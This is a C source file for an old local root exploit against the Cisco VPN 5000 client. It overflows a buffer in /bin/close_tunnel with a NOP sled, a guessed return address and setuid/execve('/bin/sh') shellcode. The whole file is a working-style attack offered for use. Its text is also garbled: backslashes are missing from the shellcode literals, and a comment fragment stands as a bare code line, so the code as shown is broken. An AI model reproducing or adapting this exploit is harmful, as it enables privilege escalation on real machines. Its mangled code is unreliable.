#include <stdio.h>
#include <unistd.h>
#define B 2504
#define N 0x90
#define R 0xbfffefc0
// may needs to be changed deppending on the distro/os..
#define BIN "/bin/close_tunnel"
// you maybe want to change this too =P
// /usr/local/bin/close_tunnel or so..
char shell[] = "HELO"
// yes this is a valid x86 instruction ;)
"x31xdbx89xd8xb0x17xcdx80" //
setuid();
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0c"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdb"
"x89xd8x40xcdx80xe8xdcxffxffxff/bin/sh";
int main(int argc, char **argv[])
{
int ret, off, es;
char bof[B];
printf(" ");
printf(" Cisco VPN 5000 client exploit ");
if(argv[1] == NULL) {
off = 0;
ret = R; }
else {
off = atoi(argv[1]);
ret = atoi(argv[2])+off; }
for (es = 0; es < B; es += 4 )
*(long *) &bof[es] = ret;
printf("+ return address: 0x%lx ",ret);
for (es = 0; es < (B - strlen(shell) - 36); ++es)
*(bof+es) = N;
memcpy(bof+es, shell, strlen(shell));
printf("+ overflowing the buffer.. ");
execl(BIN,BIN,"-d",bof,0);
return(0);
}